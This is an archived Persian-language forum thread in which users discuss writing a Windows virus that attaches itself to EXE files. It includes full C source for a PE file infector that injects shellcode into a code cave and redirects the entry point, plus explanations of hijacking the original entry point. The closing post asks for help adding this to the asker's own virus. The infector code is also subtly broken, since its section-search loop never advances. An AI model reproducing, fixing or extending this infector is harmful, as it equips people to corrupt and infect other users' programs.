ايران ويج

نسخه‌ی کامل: ویویروسی که فایل بچسبه
شما در حال مشاهده‌ی نسخه‌ی متنی این صفحه می‌باشید. مشاهده‌ی نسخه‌ی کامل با قالب بندی مناسب.
صفحه‌ها: 1 2
سلام
تو ویندوز کسی میتونه ویویروسی که به فایل بچسبه بنویسه
اونم با وی بی ؟

اگر واقعا ویروس نویسین اینطوری بنویسید
اونم به فایل EXE
سلام.
این بایندر رو ببین. 2 تا فایل رو حالا چه exe چه غیر exe رو میچسبونه به هم. حالا اگه یکیش ویروس باشه ویروس رو به 1 فایل دیگه میچسبونه.
بایندر که نشد کار
نوشتن ویروس اونم اینطوری بحثی دیگست !
ابتدا بچسبه به فایل بعد اول ویروس ته فایل بیاد بالا کاراشو کرد فایل اصلی صدا زذه شه و ...
سلام.
خوب این بایندر رو من نوشتم. بخوام میتونم ویروسی بنویسم که همین طور که گفتی کار کنه. فایل رو بچسبونه ته خودش. خودشو بچسبونه ته فایل.
برار چسبیدن تنها کار نیست اینکه تکثیر بشه و کار کنه مهمه
آدرس دهی وقتی فاسل اجرایی سایزش بعد از کامپایل عوض شه مهمه
اسمبلی باید دونست
شما یکاری کن
1 برنامه که یه مسج ساده میده بساز
اینرو کاری کن بچسبه به فایل اجرایی
به طوره که وقتی مسج تموم شد فایل اجرایی اجرا شه ! میتونی ؟ بفرما
البته بنویس تا ببینم چه میکنی
سلام.
وقتی بایندر نوشتم 2 تا exe رو به هم بچسبونه اینی که شما میگی هم مشابه همونه دیگه. شاید من متوجه منظورت نمیشم. شما میخوای اول برنامه اجرا شه و پیغام بده و ok رو کلیک کردی بعد exe که بهش چسبیده اجرا شه؟ یعنی هم زمان اجرا نشن؟
من یه دونه به زبان C و یه دونه هم به زبان ویژوال بیسیک توی Xexample.com گذاشتم.
که برنامه کدهای خودش رو بعد از PE Header و Table های موجود در یک فایل PE می نویسه.
بعد هم یه تغییراتی توی هدر می ده (توی EP برای اجرای کدها از محل کدهای ما)
به این حرفها هم گوش نکن که تا یه چیزی می شه می گن باید اسمبلی بلد باشی.
اسمبلی ماله کار با دیباگرهایی مثل ollydbg و ... هست که با اسمبلی کار می کنن
برای این کارها باید به ساختار فایل PE آشنا باشی که برای اون هم کلی ساختار داده ای تعریف شده.
توضیحات کد رو هم گذاشتم ، چیز خاصی نداره ، همش متغیر و توابع از قبل تعریف شده هست که همش توی ویژوال بیسیک هم هست
نقل قول: http://www.xexample.com/showthread.php?t=1719

این هم به زبان ویژوال بیسیک گذاشتم :
نقل قول: http://www.xexample.com/showthread.php?t=1366
برار من دانشجوی لیسانس کامپیوترم
مدرک شما رو نمیدونم
درسی بنام برنامه نویسی سیستمی هست که همین موارد رو تو داس داره
پس میدونم که چی میگم
اسمبلی برای این کار مناسب تره نه اینکه با بقیه نشه و حجمش هم کمتره
این از این
بعد شما گفتی که """"" اسمبلی ماله کار با دیباگرهایی مثل ollydbg و ... هست که با اسمبلی کار می کنن """"
پس شما چیزایی شنیدی ا ز دیگران نه من !!!! اسمبلی قبل اینکه برای کار با دیباگر باشه یه زبان برنامه نویسیه که البته امروزه کمرنگ تر شده به دلیل آسونی سایر زبانها
دسترسی مستقیم به حافظه نوشتن برخی درایورها و فایلهای سیستمی اولیه و پایه فقط و فقط با این زبان میسره
در ضمن سایت بالا تو میرفت اما من ریجستر نتونستم بکنم تا ببینم چیه
لینکو یجا آپلود کنید ممنون
اون دوستمون :
بله ابتدا باید کار برنامه اول تموم بشه بعد بعدی شرو شه
اول ویروس دوم برنامه ای که تالوده میشه
تغییرات در هدر فایل اجرایی که الوده میشه ضررورسه تا از افست های مورد نظر شروع به اجرا کنه
حالا از بحث اقلام جابجایی در سگمنت ها بگزریم که پیچیدست ..
منظورم قضیه آلوده کردن فایلهای PE بود.
وقتی ما با یه فایل PE کار می کنیم با کد اسمبلی طرف نیستیم
ولی دیباگرها برای اینکه ما راحتتر کدها رو بفهمیم می یان اونا به اسمبلی تبدیل می کنن
تا اینجا که مشکلی نیست؟
برای همینه که تا حرف فایلهای PE می شه ، افکار به سمت اسمبلی می ره
با این موضوع هم مشکلی ندارم که اسمبلی زبانیه که خیلی کارا می شه توش کرد ولی کار با فایلهای PE یکی از اون کارهایی
که توی همه زبان های برنامه نویسی خیلی ساده تر از اسمبلی پیاده سازی می شه.
بدون اینکه کوچک ترین بحثی از اسمبلی تو کار باشه

بله اگه شما یه اسمبلر توی برنامه داشته باشی ، خوب خیلی راحت کدهای اسمبلی رو اسمبل می کنی و بعدهم تزریق به فایل PE
حالا شما می خواید از اسمبلر استفاده کنید یا خیلی ساده تر به طور مستقیم با یک PE کار کنید؟

اونم که گفتم ماله دیباگرهاست باز هم منظورم قضیه کار با PE بود.نه اینکه بگم اسمبلی یه چیزیه که با دیباگرها ظهور کرده

اگه هم بخواید این قضیه آلوده کردن فایل PE رو به اسمبلی بکشونید مثل اینه که لقمه رو دور سر بچرخونید

این کد برنامه با C

کد:
#include<windows.h>
#include<stdio.h>
GetTextSectionOffset(PIMAGE_SECTION_HEADER pSectionHeader , int NumberOfSections)
{
    while(NumberOfSections > 0)
    {
        if( !strcmpi((char*)pSectionHeader->Name , ".text"))
        {
            return pSectionHeader->PointerToRawData;
        }
    }
    return 0;
}
int main(int argc , char *argv[])
{
    HANDLE hFile;
    HANDLE hMap;
    char *MappedFile = 0;
    DWORD FileSize;
    DWORD delta;  
    DWORD SectionOffset;
    DWORD func_addr;
    IMAGE_DOS_HEADER *pDosHeader;
    IMAGE_NT_HEADERS *pNtHeader;
    IMAGE_SECTION_HEADER *pSecHeader;
    /* shell code*/
    char code[] = "\x6A\x00"            
                  "\xB8\x00\x00\x00\x00"  
                  "\xFF\xD0";          
    if(argc < 2)
    {
        printf("parameters : ssv.exe [filename] \n");
        return 0;
    }
    printf("target: [%s] \n" , argv[1]);
    hFile = CreateFile(argv[1] ,
                       GENERIC_WRITE | GENERIC_READ ,
                       0 ,
                       0 ,
                       OPEN_EXISTING ,
                       FILE_ATTRIBUTE_NORMAL ,
                       0);
    if(hFile == INVALID_HANDLE_VALUE)
    {
        printf("[Error]: Can't open File! Error code : %d" , GetLastError());
        return -1;
    }
    FileSize = GetFileSize(hFile , 0 );
    printf("[File Size ]: %d \n", FileSize);
    hMap = CreateFileMapping(hFile ,
                             0 ,
                             PAGE_READWRITE ,
                             0 ,
                             FileSize ,
                             0);
    if(hMap == INVALID_HANDLE_VALUE)
    {
        printf("[Error]: Can't map file! Error code: %d\n" , GetLastError());
        CloseHandle(hFile);
        return -1;
    }
    MappedFile = (char*)MapViewOfFile(hMap , FILE_MAP_READ | FILE_MAP_WRITE , 0 , 0 , FileSize);
    if(MappedFile == NULL)
    {
        printf("[Error]: Can't map file! Error code %d\n", GetLastError());
        CloseHandle(hFile);
        CloseHandle(hMap);
        UnmapViewOfFile(MappedFile);
        return -1;
    }
    pDosHeader = (IMAGE_DOS_HEADER*)MappedFile;
    pNtHeader  = (IMAGE_NT_HEADERS*)((DWORD)MappedFile + pDosHeader->e_lfanew);
    pSecHeader = IMAGE_FIRST_SECTION(pNtHeader);
    SectionOffset = GetTextSectionOffset(pSecHeader , pNtHeader->FileHeader.NumberOfSections);
    if(SectionOffset == 0)
    {
        printf("[Error]: Can't find .text section!\n");
        CloseHandle(hFile);
        CloseHandle(hMap);
        UnmapViewOfFile(MappedFile);
        return -1;
    }
    delta = SectionOffset - sizeof(code);
    int i;
    BYTE check;
    printf("scanning...\n");
    for(i=0 ; i<sizeof(code) ; i++)
    {
      check = *((BYTE*)MappedFile + delta + i);
      printf("%X \t", check);
      if(check != 0)
      {
          printf("There is some data...\n");
          CloseHandle(hFile);
          CloseHandle(hMap);
          UnmapViewOfFile(MappedFile);
          return -1;
      }
    }
      printf("Space if free , infecting File...\n");
      func_addr = (DWORD)GetProcAddress( LoadLibrary("kernel32.dll") , "ExitProcess");
      for(i=0 ; i < sizeof(code) ; i++ )
      {
          if( *(DWORD*)&code[i] == 0x00000B8)
          {
              *(DWORD*)(code+i+1)= func_addr;
          }
      }
      printf("Old Entry Point : %08X \n" , pNtHeader->OptionalHeader.AddressOfEntryPoint);
      memcpy(MappedFile+delta , code , sizeof(code));
      pNtHeader->OptionalHeader.AddressOfEntryPoint = delta;
          printf("File infected!\n");
      printf("New Entry Point: %08X \n" , delta);
      CloseHandle(hFile);
      CloseHandle(hMap);
      UnmapViewOfFile(MappedFile);
      return 0;
}
برای این کار شما باید به ساختار فایلهای pe و روند اجرای فایلهای اجرایی در ویندوز یا لینوکس اشنایی کامل داشته باشی و همین طور هم کمی کرک و اسمبلی بلد باشی نه به جهت استفاده از اسمبلی
فایلهای exe از چند section تشکیل میشن که هر کدوم کار خاصی میکنن یک section هست بنام code یا text که کدهایی که شما مینویسین و اجرا میشه در این section قرار میگیره و فقط این section خاصیت اجرایی داره شما کد برنامتو تو هر جای این Section که میخواهی بنویس(معمولا انتهای section پر از nop (خالی) هست که مناسب این کاره بعدنقطه شروع برنامه یا entry point برنامه رو پیدا میکنی و هر کدوم از jump ها رو که دوست داشتی تغییر میدی به ادرس شروع کد خودت و در انتهای کدت یه jump اضافه میکنه به ادرس jump اول که تغییر دادی به کد خودت
روند اجرای کد خط به خط هست و معمولا از اولین jump استفاده میشه یا OEP رو تغییر میدن به ابتدای کد و از انتهای code یه jump میزارن به OEP قدیمی برای اجرای اون
لزومی به استفاده از اسمبلی نیست


در ضمن برای درایور نویسی و کارهای سیتمی میشه از خانواده C هم استفاده کرد و هدرهای مورد نظرش هم برای دلفی ترجمه شده
نقل قول: اسمبلی قبل اینکه برای کار با دیباگر باشه یه زبان برنامه نویسیه که البته امروزه کمرنگ تر شده به دلیل آسونی سایر زبانها
تایید میشه
دوستان عزیز یه لطفی کنید و یه سر به EXE Infection هم بزنید.......من این کار رو میخوام با ویروسم انجام بدم به زبان VB ............

حالا دو راه هست:
1. راهی که شما میگید و از فقط زبان VB استفاده بکنم....
2. کد باینری ویروس رو به روشی که میگید بگذارم ته فایل...

متشکر
صفحه‌ها: 1 2